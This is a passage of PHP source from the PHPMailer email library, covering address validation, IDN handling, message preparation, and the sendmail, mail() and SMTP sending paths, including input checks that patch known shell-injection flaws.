        $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
        if (($pos = strrpos($address, '@')) === false) {
            // At-sign is misssing.
            $error_message = $this->lang('invalid_address') . " (addAnAddress $kind): $address";
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        $params = array($kind, $address, $name);
        // Enqueue addresses with IDN until we know the PHPMailer::$CharSet.
        if ($this->has8bitChars(substr($address, ++$pos)) and $this->idnSupported()) {
            if ($kind != 'Reply-To') {
                if (!array_key_exists($address, $this->RecipientsQueue)) {
                    $this->RecipientsQueue[$address] = $params;
                    return true;
                }
            } else {
                if (!array_key_exists($address, $this->ReplyToQueue)) {
                    $this->ReplyToQueue[$address] = $params;
                    return true;
                }
            }
            return false;
        }
        // Immediately add standard addresses without IDN.
        return call_user_func_array(array($this, 'addAnAddress'), $params);
    }

    /**
     * Add an address to one of the recipient arrays or to the ReplyTo array.
     * Addresses that have been added already return false, but do not throw exceptions.
     * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo'
     * @param string $address The email address to send, resp. to reply to
     * @param string $name
     * @throws phpmailerException
     * @return boolean true on success, false if address already used or invalid in some way
     * @access protected
     */
    protected function addAnAddress($kind, $address, $name = '')
    {
        if (!in_array($kind, array('to', 'cc', 'bcc', 'Reply-To'))) {
            $error_message = $this->lang('Invalid recipient kind: ') . $kind;
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        if (!$this->validateAddress($address)) {
            $error_message = $this->lang('invalid_address') . " (addAnAddress $kind): $address";
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        if ($kind != 'Reply-To') {
            if (!array_key_exists(strtolower($address), $this->all_recipients)) {
                array_push($this->$kind, array($address, $name));
                $this->all_recipients[strtolower($address)] = true;
                return true;
            }
        } else {
            if (!array_key_exists(strtolower($address), $this->ReplyTo)) {
                $this->ReplyTo[strtolower($address)] = array($address, $name);
                return true;
            }
        }
        return false;
    }

    /**
     * Parse and validate a string containing one or more RFC822-style comma-separated email addresses
     * of the form "display name <address>" into an array of name/address pairs.
     * Uses the imap_rfc822_parse_adrlist function if the IMAP extension is available.
     * Note that quotes in the name part are removed.
     * @param string $addrstr The address list string
     * @param bool $useimap Whether to use the IMAP extension to parse the list
     * @return array
     * @link http://www.andrew.cmu.edu/user/agreen1/testing/mrbs/web/Mail/RFC822.php A more careful implementation
     */
    public function parseAddresses($addrstr, $useimap = true)
    {
        $addresses = array();
        if ($useimap and function_exists('imap_rfc822_parse_adrlist')) {
            //Use this built-in parser if it's available
            $list = imap_rfc822_parse_adrlist($addrstr, '');
            foreach ($list as $address) {
                if ($address->host != '.SYNTAX-ERROR.') {
                    if ($this->validateAddress($address->mailbox . '@' . $address->host)) {
                        $addresses[] = array(
                            'name' => (property_exists($address, 'personal') ? $address->personal : ''),
                            'address' => $address->mailbox . '@' . $address->host
                        );
                    }
                }
            }
        } else {
            //Use this simpler parser
            $list = explode(',', $addrstr);
            foreach ($list as $address) {
                $address = trim($address);
                //Is there a separate name part?
                if (strpos($address, '<') === false) {
                    //No separate name, just use the whole thing
                    if ($this->validateAddress($address)) {
                        $addresses[] = array(
                            'name' => '',
                            'address' => $address
                        );
                    }
                } else {
                    list($name, $email) = explode('<', $address);
                    $email = trim(str_replace('>', '', $email));
                    if ($this->validateAddress($email)) {
                        $addresses[] = array(
                            'name' => trim(str_replace(array('"', "'"), '', $name)),
                            'address' => $email
                        );
                    }
                }
            }
        }
        return $addresses;
    }

    /**
     * Sets message type to HTML or plain.
     * @param boolean $isHtml True for HTML mode.
     * @return void
     */
    public function isHTML($isHtml = true)
    {
        if ($isHtml) {
            $this->ContentType = 'text/html';
        } 
        else {
            $this->ContentType = 'text/plain';
        }

    }

    /**
     * Set the From and FromName properties.
     * @param string $address
     * @param string $name
     * @param boolean $auto Whether to also set the Sender address, defaults to true
     * @throws phpmailerException
     * @return boolean
     */
    public function setFrom($address, $name = '', $auto = true)
    {
        $address = trim($address);
        $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
        // Don't validate now addresses with IDN. Will be done in send().
        if (($pos = strrpos($address, '@')) === false or
            (!$this->has8bitChars(substr($address, ++$pos)) or !$this->idnSupported()) and
            !$this->validateAddress($address)) {
            $error_message = $this->lang('invalid_address') . " (setFrom) $address";
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        $this->From = $address;
        $this->FromName = $name;
        if ($auto) {
            if (empty($this->Sender)) {
                $this->Sender = $address;
            }
        }
        return true;
    }

    /**
     * Return the Message-ID header of the last email.
     * Technically this is the value from the last time the headers were created,
     * but it's also the message ID of the last sent message except in
     * pathological cases.
     * @return string
     */
    public function getLastMessageID()
    {
        return $this->lastMessageID;
    }

    /**
     * Check that a string looks like an email address.
     * @param string $address The email address to check
     * @param string|callable $patternselect A selector for the validation pattern to use :
     * * `auto` Pick best pattern automatically;
     * * `pcre8` Use the squiloople.com pattern, requires PCRE > 8.0, PHP >= 5.3.2, 5.2.14;
     * * `pcre` Use old PCRE implementation;
     * * `php` Use PHP built-in FILTER_VALIDATE_EMAIL;
     * * `html5` Use the pattern given by the HTML5 spec for 'email' type form input elements.
     * * `noregex` Don't use a regex: super fast, really dumb.
     * Alternatively you may pass in a callable to inject your own validator, for example:
     * PHPMailer::validateAddress('user@example.com', function($address) {
     *     return (strpos($address, '@') !== false);
     * });
     * You can also set the PHPMailer::$validator static to a callable, allowing built-in methods to use your validator.
     * @return boolean
     * @static
     * @access public
     */
    public static function validateAddress($address, $patternselect = null)
    {
        if (is_null($patternselect)) {
            $patternselect = self::$validator;
        }
        if (is_callable($patternselect)) {
            return call_user_func($patternselect, $address);
        }
        //Reject line breaks in addresses; it's valid RFC5322, but not RFC5321
        if (strpos($address, "\n") !== false or strpos($address, "\r") !== false) {
            return false;
        }
        if (!$patternselect or $patternselect == 'auto') {
            //Check this constant first so it works when extension_loaded() is disabled by safe mode
            //Constant was added in PHP 5.2.4
            if (defined('PCRE_VERSION')) {
                //This pattern can get stuck in a recursive loop in PCRE <= 8.0.2
                if (version_compare(PCRE_VERSION, '8.0.3') >= 0) {
                    $patternselect = 'pcre8';
                } else {
                    $patternselect = 'pcre';
                }
            } elseif (function_exists('extension_loaded') and extension_loaded('pcre')) {
                //Fall back to older PCRE
                $patternselect = 'pcre';
            } else {
                //Filter_var appeared in PHP 5.2.0 and does not require the PCRE extension
                if (version_compare(PHP_VERSION, '5.2.0') >= 0) {
                    $patternselect = 'php';
                } else {
                    $patternselect = 'noregex';
                }
            }
        }
        switch ($patternselect) {
            case 'pcre8':
                /**
                 * Uses the same RFC5322 regex on which FILTER_VALIDATE_EMAIL is based, but allows dotless domains.
                 * @link http://squiloople.com/2009/12/20/email-address-validation/
                 * @copyright 2009-2010 Michael Rushton
                 * Feel free to use and redistribute this code. But please keep this copyright notice.
                 */
                return (boolean)preg_match(
                    '/^(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)' .
                    '((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)' .
                    '(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)' .
                    '([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*' .
                    '(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' .
                    '(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' .
                    '|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' .
                    '|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
                    '|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD',
                    $address
                );
            case 'pcre':
                //An older regex that doesn't need a recent PCRE
                return (boolean)preg_match(
                    '/^(?!(?>"?(?>\\\[ -~]|[^"])"?){255,})(?!(?>"?(?>\\\[ -~]|[^"])"?){65,}@)(?>' .
                    '[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*")' .
                    '(?>\.(?>[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*"))*' .
                    '@(?>(?![a-z0-9-]{64,})(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)(?>\.(?![a-z0-9-]{64,})' .
                    '(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)){0,126}|\[(?:(?>IPv6:(?>(?>[a-f0-9]{1,4})(?>:' .
                    '[a-f0-9]{1,4}){7}|(?!(?:.*[a-f0-9][:\]]){8,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?' .
                    '::(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?))|(?>(?>IPv6:(?>[a-f0-9]{1,4}(?>:' .
                    '[a-f0-9]{1,4}){5}:|(?!(?:.*[a-f0-9]:){6,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4})?' .
                    '::(?>(?:[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4}):)?))?(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
                    '|[1-9]?[0-9])(?>\.(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))\])$/isD',
                    $address
                );
            case 'html5':
                /**
                 * This is the pattern used in the HTML5 spec for validation of 'email' type form input elements.
                 * @link http://www.whatwg.org/specs/web-apps/current-work/#e-mail-state-(type=email)
                 */
                return (boolean)preg_match(
                    '/^[a-zA-Z0-9.!#$%&\'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}' .
                    '[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD',
                    $address
                );
            case 'noregex':
                //No PCRE! Do something _very_ approximate!
                //Check the address is 3 chars or longer and contains an @ that's not the first or last char
                return (strlen($address) >= 3
                    and strpos($address, '@') >= 1
                    and strpos($address, '@') != strlen($address) - 1);
            case 'php':
            default:
                return (boolean)filter_var($address, FILTER_VALIDATE_EMAIL);
        }
    }

    /**
     * Tells whether IDNs (Internationalized Domain Names) are supported or not. This requires the
     * "intl" and "mbstring" PHP extensions.
     * @return bool "true" if required functions for IDN support are present
     */
    public function idnSupported()
    {
        // @TODO: Write our own "idn_to_ascii" function for PHP <= 5.2.
        return function_exists('idn_to_ascii') and function_exists('mb_convert_encoding');
    }

    /**
     * Converts IDN in given email address to its ASCII form, also known as punycode, if possible.
     * Important: Address must be passed in same encoding as currently set in PHPMailer::$CharSet.
     * This function silently returns unmodified address if:
     * - No conversion is necessary (i.e. domain name is not an IDN, or is already in ASCII form)
     * - Conversion to punycode is impossible (e.g. required PHP functions are not available)
     *   or fails for any reason (e.g. domain has characters not allowed in an IDN)
     * @see PHPMailer::$CharSet
     * @param string $address The email address to convert
     * @return string The encoded address in ASCII form
     */
    public function punyencodeAddress($address)
    {
        // Verify we have required functions, CharSet, and at-sign.
        if ($this->idnSupported() and
            !empty($this->CharSet) and
            ($pos = strrpos($address, '@')) !== false) {
            $domain = substr($address, ++$pos);
            // Verify CharSet string is a valid one, and domain properly encoded in this CharSet.
            if ($this->has8bitChars($domain) and @mb_check_encoding($domain, $this->CharSet)) {
                $domain = mb_convert_encoding($domain, 'UTF-8', $this->CharSet);
                if (($punycode = defined('INTL_IDNA_VARIANT_UTS46') ?
                    idn_to_ascii($domain, 0, INTL_IDNA_VARIANT_UTS46) :
                    idn_to_ascii($domain)) !== false) {
                    return substr($address, 0, $pos) . $punycode;
                }
            }
        }
        return $address;
    }

    /**
     * Create a message and send it.
     * Uses the sending method specified by $Mailer.
     * @throws phpmailerException
     * @return boolean false on error - See the ErrorInfo property for details of the error.
     */
    public function send()
    {
        try {
            if (!$this->preSend()) {
                return false;
            }
            return $this->postSend();
        } catch (phpmailerException $exc) {
            $this->mailHeader = '';
            $this->setError($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
            return false;
        }
    }

    /**
     * Prepare a message for sending.
     * @throws phpmailerException
     * @return boolean
     */
    public function preSend()
    {
        try {
            $this->error_count = 0; // Reset errors
            $this->mailHeader = '';

            // Dequeue recipient and Reply-To addresses with IDN
            foreach (array_merge($this->RecipientsQueue, $this->ReplyToQueue) as $params) {
                $params[1] = $this->punyencodeAddress($params[1]);
                call_user_func_array(array($this, 'addAnAddress'), $params);
            }
            if ((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
                throw new phpmailerException($this->lang('provide_address'), self::STOP_CRITICAL);
            }

            // Validate From, Sender, and ConfirmReadingTo addresses
            foreach (array('From', 'Sender', 'ConfirmReadingTo') as $address_kind) {
                $this->$address_kind = trim($this->$address_kind);
                if (empty($this->$address_kind)) {
                    continue;
                }
                $this->$address_kind = $this->punyencodeAddress($this->$address_kind);
                if (!$this->validateAddress($this->$address_kind)) {
                    $error_message = $this->lang('invalid_address') . ' (punyEncode) ' . $this->$address_kind;
                    $this->setError($error_message);
                    $this->edebug($error_message);
                    if ($this->exceptions) {
                        throw new phpmailerException($error_message);
                    }
                    return false;
                }
            }

            // Set whether the message is multipart/alternative
            if ($this->alternativeExists()) {
                $this->ContentType = 'multipart/alternative';
            }

            $this->setMessageType();
            // Refuse to send an empty message unless we are specifically allowing it
            if (!$this->AllowEmpty and empty($this->Body)) {
                throw new phpmailerException($this->lang('empty_message'), self::STOP_CRITICAL);
            }

            // Create body before headers in case body makes changes to headers (e.g. altering transfer encoding)
            $this->MIMEHeader = '';
            $this->MIMEBody = $this->createBody();
            // createBody may have added some headers, so retain them
            $tempheaders = $this->MIMEHeader;
            $this->MIMEHeader = $this->createHeader();
            $this->MIMEHeader .= $tempheaders;

            // To capture the complete message when using mail(), create
            // an extra header list which createHeader() doesn't fold in
            if ($this->Mailer == 'mail') {
                if (count($this->to) > 0) {
                    $this->mailHeader .= $this->addrAppend('To', $this->to);
                } else {
                    $this->mailHeader .= $this->headerLine('To', 'undisclosed-recipients:;');
                }
                $this->mailHeader .= $this->headerLine(
                    'Subject',
                    $this->encodeHeader($this->secureHeader(trim($this->Subject)))
                );
            }

            // Sign with DKIM if enabled
            if (!empty($this->DKIM_domain)
                and !empty($this->DKIM_selector)
                and (!empty($this->DKIM_private_string)
                    or (!empty($this->DKIM_private)
                        and self::isPermittedPath($this->DKIM_private)
                        and file_exists($this->DKIM_private)
                    )
                )
            ) {
                $header_dkim = $this->DKIM_Add(
                    $this->MIMEHeader . $this->mailHeader,
                    $this->encodeHeader($this->secureHeader($this->Subject)),
                    $this->MIMEBody
                );
                $this->MIMEHeader = rtrim($this->MIMEHeader, "\r\n ") . self::CRLF .
                    str_replace("\r\n", "\n", $header_dkim) . self::CRLF;
            }
            return true;
        } catch (phpmailerException $exc) {
            $this->setError($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
            return false;
        }
    }

    /**
     * Actually send a message.
     * Send the email via the selected mechanism
     * @throws phpmailerException
     * @return boolean
     */
    public function postSend()
    {
        try {
            // Choose the mailer and send through it
            switch ($this->Mailer) {
                case 'sendmail':
                case 'qmail':
                    return $this->sendmailSend($this->MIMEHeader, $this->MIMEBody);
                case 'smtp':
                    return $this->smtpSend($this->MIMEHeader, $this->MIMEBody);
                case 'mail':
                    return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
                default:
                    $sendMethod = $this->Mailer.'Send';
                    if (method_exists($this, $sendMethod)) {
                        return $this->$sendMethod($this->MIMEHeader, $this->MIMEBody);
                    }

                    return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
            }
        } catch (phpmailerException $exc) {
            $this->setError($exc->getMessage());
            $this->edebug($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
        }
        return false;
    }

    /**
     * Send mail using the $Sendmail program.
     * @param string $header The message headers
     * @param string $body The message body
     * @see PHPMailer::$Sendmail
     * @throws phpmailerException
     * @access protected
     * @return boolean
     */
    protected function sendmailSend($header, $body)
    {
        // CVE-2016-10033, CVE-2016-10045: Don't pass -f if characters will be escaped.
        if (!empty($this->Sender) and self::isShellSafe($this->Sender)) {
            if ($this->Mailer == 'qmail') {
                $sendmailFmt = '%s -f%s';
            } else {
                $sendmailFmt = '%s -oi -f%s -t';
            }
        } else {
            if ($this->Mailer == 'qmail') {
                $sendmailFmt = '%s';
            } else {
                $sendmailFmt = '%s -oi -t';
            }
        }

        // TODO: If possible, this should be changed to escapeshellarg.  Needs thorough testing.
        $sendmail = sprintf($sendmailFmt, escapeshellcmd($this->Sendmail), $this->Sender);

        if ($this->SingleTo) {
            foreach ($this->SingleToArray as $toAddr) {
                if (!@$mail = popen($sendmail, 'w')) {
                    throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
                }
                fputs($mail, 'To: ' . $toAddr . "\n");
                fputs($mail, $header);
                fputs($mail, $body);
                $result = pclose($mail);
                $this->doCallback(
                    ($result == 0),
                    array($toAddr),
                    $this->cc,
                    $this->bcc,
                    $this->Subject,
                    $body,
                    $this->From
                );
                if ($result != 0) {
                    throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
                }
            }
        } else {
            if (!@$mail = popen($sendmail, 'w')) {
                throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
            }
            fputs($mail, $header);
            fputs($mail, $body);
            $result = pclose($mail);
            $this->doCallback(
                ($result == 0),
                $this->to,
                $this->cc,
                $this->bcc,
                $this->Subject,
                $body,
                $this->From
            );
            if ($result != 0) {
                throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
            }
        }
        return true;
    }

    /**
     * Fix CVE-2016-10033 and CVE-2016-10045 by disallowing potentially unsafe shell characters.
     *
     * Note that escapeshellarg and escapeshellcmd are inadequate for our purposes, especially on Windows.
     * @param string $string The string to be validated
     * @see https://github.com/PHPMailer/PHPMailer/issues/924 CVE-2016-10045 bug report
     * @access protected
     * @return boolean
     */
    protected static function isShellSafe($string)
    {
        // Future-proof
        if (escapeshellcmd($string) !== $string
            or !in_array(escapeshellarg($string), array("'$string'", "\"$string\""))
        ) {
            return false;
        }

        $length = strlen($string);

        for ($i = 0; $i < $length; $i++) {
            $c = $string[$i];

            // All other characters have a special meaning in at least one common shell, including = and +.
            // Full stop (.) has a special meaning in cmd.exe, but its impact should be negligible here.
            // Note that this does permit non-Latin alphanumeric characters based on the current locale.
            if (!ctype_alnum($c) && strpos('@_-.', $c) === false) {
                return false;
            }
        }

        return true;
    }

    /**
     * Check whether a file path is of a permitted type.
     * Used to reject URLs and phar files from functions that access local file paths,
     * such as addAttachment.
     * @param string $path A relative or absolute path to a file.
     * @return bool
     */
    protected static function isPermittedPath($path)
    {
        return !preg_match('#^[a-z]+://#i', $path);
    }

    /**
     * Send mail using the PHP mail() function.
     * @param string $header The message headers
     * @param string $body The message body
     * @link http://www.php.net/manual/en/book.mail.php
     * @throws phpmailerException
     * @access protected
     * @return boolean
     */
    protected function mailSend($header, $body)
    {
        $toArr = array();
        foreach ($this->to as $toaddr) {
            $toArr[] = $this->addrFormat($toaddr);
        }
        $to = implode(', ', $toArr);

        $params = null;
        //This sets the SMTP envelope sender which gets turned into a return-path header by the receiver
        if (!empty($this->Sender) and $this->validateAddress($this->Sender)) {
            // CVE-2016-10033, CVE-2016-10045: Don't pass -f if characters will be escaped.
            if (self::isShellSafe($this->Sender)) {
                $params = sprintf('-f%s', $this->Sender);
            }
        }
        if (!empty($this->Sender) and !ini_get('safe_mode') and $this->validateAddress($this->Sender)) {
            $old_from = ini_get('sendmail_from');
            ini_set('sendmail_from', $this->Sender);
        }
        $result = false;
        if ($this->SingleTo and count($toArr) > 1) {
            foreach ($toArr as $toAddr) {
                $result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params);
                $this->doCallback($result, array($toAddr), $this->cc, $this->bcc, $this->Subject, $body, $this->From);
            }
        } else {
            $result = $this->mailPassthru($to, $this->Subject, $body, $header, $params);
            $this->doCallback($result, $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From);
        }
        if (isset($old_from)) {
            ini_set('sendmail_from', $old_from);
        }
        if (!$result) {
            throw new phpmailerException($this->lang('instantiate'), self::STOP_CRITICAL);
        }
        return true;
    }

    /**
     * Get an instance to use for SMTP operations.
     * Override this function to load your own SMTP implementation
     * @return SMTP
     */
    public function getSMTPInstance()
    {
        if (!is_object($this->smtp)) {
            $this->smtp = new SMTP;
        }
        return $this->smtp;
    }

    /**
     * Send mail via SMTP.
     * Returns false if there is a bad MAIL FROM, RCPT, or DATA input.
     * Uses the PHPMailerSMTP class by default.
     * @see PHPMailer::getSMTPInstance() to use a different class.
     * @param string $header The message headers
     * @param string $body The message body
     * @throws phpmailerException
     * @uses SMTP
     * @access protected
     * @return boolean
     */
    protected function smtpSend($header, $body)
    {
        $bad_rcpt = array();
        if (!$this->smtpConnect($this->SMTPOptions)) {
            throw new phpmailerException($this->lang('smtp_connect_failed'), self::STOP_CRITICAL);
        }
        if (!empty($this->Sender) and $this->validateAddress($this->Sender)) {
            $smtp_from = $this->Sender;
        } else {
            $smtp_from = $this->From;
        }
        if (!$this->smtp->mail($smtp_from)) {
            $this->setError($this->lang('from_failed') . $smtp_from . ' : ' . implode(',', $this->smtp->getError()));
            throw new phpmailerException($this->ErrorInfo, self::STOP_CRITICAL);
        }

        // Attempt to send to all recipients
        foreach (array($this->to, $this->cc, $this->bcc) as $togroup) {
            foreach ($togroup as $to) {
                if (!$this->smtp->recipient($to[0])) {
                    $error = $this->smtp->getError();
                    $bad_rcpt[] = array('to' => $to[0], 'error' => $error['detail']);
                    $isSent = false;
                } else {
                    $isSent = true;
                }
                $this->doCallback($isSent, array($to[0]), array(), array(), $this->Subject, $body, $this->From);
            }
        }

        // Only send the DATA command if we have viable recipients
        if ((count($this->all_recipients) > count($bad_rcpt)) and !$this->smtp->data($header . $body)) {
            throw new phpmailerException($this->lang('data_not_accepted'), self::STOP_CRITICAL);
        }
        if ($this->SMTPKeepAlive) {
            $this->smtp->reset();
        } else {
            $this->smtp->quit();
            $this->smtp->close();
        }
        //Create error message for any bad addresses
        if (count($bad_rcpt) > 0) {
            $errstr = '';
            foreach ($bad_rcpt as $bad) {
                $errstr .= $bad['to'] . ': ' . $bad['error'];
            }
            throw new phpmailerException(
                $this->lang('recipients_failed') . $errstr,
                self::STOP_CONTINUE
            );
        }
        return true;
    }

    /**
     * Initiate a connection to an SMTP server.
     * Returns false if the operation failed.
     * @param array $options An array of options compatible with stream_context_create()
     * @uses SMTP
     * @access public
     * @throws phpmailerException
     * @return boolean
     */
    public function smtpConnect($options = null)
    {
        if (is_null($this->smtp)) {
            $this->smtp = $this->getSMTPInstance();
        }

        //If no options are provided, use whatever is set in the instance
        if (is_null($options)) {
            $options = $this->SMTPOptions;
        }

        // Already connected?
        if ($this->smtp->connected()) {
            return true;
        }

        $this->smtp->setTimeout($this->Timeout);
        $this->smtp->setDebugLevel($this->SMTPDebug);
        $this->smtp->setDebugOutput($this->Debugoutput);
        $this->smtp->setVerp($this->do_verp);
        $hosts = explode(';', $this->Host);
        $lastexception = null;

        foreach ($hosts as $hostentry) {
            $hostinfo = array();
            if (!preg_match(
                '/^((ssl|tls):\/\/)*([a-zA-Z0-9\.-]*|\[[a-fA-F0-9:]+\]):?([0-9]*)$/',
                trim($hostentry),
                $hostinfo
            )) {
                // Not a valid host entry
                $this->edebug('Ignoring invalid host: ' . $hostentry);
                continue;
            }
            // $hostinfo[2]: optional ssl or tls prefix
            // $hostinfo[3]: the hostname
            // $hostinfo[4]: optional port number
            // The host string prefix can temporarily override the current setting for SMTPSecure
            // If it's not specified, the default value is used
            $prefix = '';
            $secure = $this->SMTPSecure;
            $tls = ($this->SMTPSecure == 'tls');
            if ('ssl' == $hostinfo[2] or ('' == $hostinfo[2] and 'ssl' == $this->SMTPSecure)) {
                $prefix = 'ssl://';
                $tls = false; // Can't have SSL and TLS at the same time
                $secure = 'ssl';
            } elseif ($hostinfo[2] == 'tls') {
                $tls = true;
                // tls doesn't use a prefix
                $secure = 'tls';
            }
            //Do we need the OpenSSL extension?
            $sslext = defined('OPENSSL_ALGO_SHA1');
            if ('tls' === $secure or 'ssl' === $secure) {
                //Check for an OpenSSL constant rather than using extension_loaded, which is sometimes disabled
                if (!$sslext) {
                    throw new phpmailerException($this->lang('extension_missing').'openssl', self::STOP_CRITICAL);
                }
            }
            $host = $hostinfo[3];
            $port = $this->Port;
            $tport = (integer)$hostinfo[4];
            if ($tport > 0 and $tport < 65536) {
                $port = $tport;
            }
            if ($this->smtp->connect($prefix . $host, $port, $this->Timeout, $options)) {
                try {
                    if ($this->Helo) {
                        $hello = $this->Helo;
                    } else {
                        $hello = $this->serverHostname();
                    }
                    $this->smtp->hello($hello);
                    //Automatically enable TLS encryption if:
                    // * it's not disabled
                    // * we have openssl extension
                    // * we are not already using SSL
                    // * the server offers STARTTLS
                    if ($this->SMTPAutoTLS and $sslext and $secure != 'ssl' and $this->smtp->getServerExt('STARTTLS')) {
                        $tls = true;
                    }
                    if ($tls) {
                        if (!$this->smtp->startTLS()) {
                            throw new phpmailerException($this->lang('connect_host'));
                        }
                        // We must resend EHLO after TLS negotiation
                        $this->smtp->hello($hello);
                    }
                    if ($this->SMTPAuth) {
                        if (!$this->smtp->authenticate(
                            $this->Username,
                            $this->Password,
                            $this->AuthType,
                            $this->Realm,
                            $this->Workstation
                        )
                        ) {
                            throw new phpmailerException($this->lang('authenticate'));
                        }
                    }
                    return true;
                } catch (phpmailerException $exc) {
                    $lastexception = $exc;
                    $this->edebug($exc->getMessage());
                    // We must have connected, but then failed TLS or Auth, so close connection nicely
                    $this->smtp->quit();
                }
            }
        }
        // If we get here, all connection attempts have failed, so close connection hard
        $this->smtp->close();
        // As we've caught all exceptions, just report whatever the last one was
        if ($this->exceptions and !is_null($lastexception)) {
            throw $lastexception;
        }
        return false;
    }

    /**
     * Close the active SMTP session if one exists.
     * @return void
     */
    public function smtpClose()
    {
        if (is_a($this->smtp, 'SMTP')) {
            if ($this->smtp->connected()) {
                $this->smtp->quit();
                $this->smtp->close();
            }
        }
    }

    /**
     * Set the language for error messages.
     * Returns false if it cannot load the language file.
     * The default language is English.
     * @param string $langcode ISO 639-1 2-character language code (e.g. French is "fr")
     * @param string $lang_path Path to the language file directory, with trailing separator (slash)
     * @return boolean
     * @access public
     */
    public function setLanguage($langcode = 'en', $lang_path = '')
    {
        // Backwards compatibility for renamed language codes
        $renamed_langcodes = array(
            'br' => 'pt_br',
            'cz' => 'cs',
            'dk' => 'da',
            'no' => 'nb',
            'se' => 'sv',
            'sr' => 'rs'
        );

        if (isset($renamed_langcodes[$langcode])) {
            $langcode = $renamed_langcodes[$langcode];
        }

        // Define full set of translatable strings in English
        $PHPMAILER_LANG = array(
            'authenticate' => 'SMTP Error: Could not authenticate.',
            'connect_host' => 'SMTP Error: Could not connect to SMTP host.',
            'data_not_accepted' => 'SMTP Error: data not accepted.',
            'empty_message' => 'Message body empty',
            'encoding' => 'Unknown encoding: ',
            'execute' => 'Could not execute: ',
            'file_access' => 'Could not access file: ',
            'file_open' => 'File Error: Could not open file: ',
            'from_failed' => 'The following From address failed: ',
            'instantiate' => 'Could not instantiate mail function.',
            'invalid_address' => 'Invalid address: ',
            'mailer_not_supported' => ' mailer is not supported.',
            'provide_address' => 'You must provide at least one recipient email address.',
            'recipients_failed' => 'SMTP Error: The following recipients failed: ',
            'signing' => 'Signing Error: ',
            'smtp_connect_failed' => 'SMTP connect() failed.',
            'smtp_error' => 'SMTP server error: ',
            'variable_set' => 'Cannot set or reset variable: ',
            'extension_missing' => 'Extension missing: '
        );
        if (empty($lang_path)) {
            // Calculate an absolute path so it can work if CWD is not here
            $lang_path = dirname(__FILE__). DIRECTORY_SEPARATOR . 'language'. DIRECTORY_SEPARATOR;
        }
        //Validate $langcode
        if (!preg_match('/^[a-z]{2}(?:_[a-zA-Z]{2})?$/', $langcode)) {
            $langcode = 'en';
        }
        $foundlang = true;
        $lang_file = $lang_path . 'phpmailer.lang-' . $langcode . '.php';
        // There is no English translation file
        if ($langcode != 'en') {
            // Make sure language file path is readable
            if (!self::isPermittedPath($lang_file) or !is_readable($lang_file)) {
                $foundlang = false;
            } else {
                // Overwrite language-specific strings.
                // This way we'll never have missing translation keys.
                $foundlang = include $lang_file;
            }
        }
        $this->language = $PHPMAILER_LANG;
        return (boolean)$foundlang; // Returns false if language not found
    }

    /**
     * Get the array of strings for the current language.
     * @return array
     */
    public function getTranslations()
    {
        return $this->language;
    }

    /**
     * Create recipient headers.
     * @access public
     * @param string $type
     * @param array $addr An array of recipient,
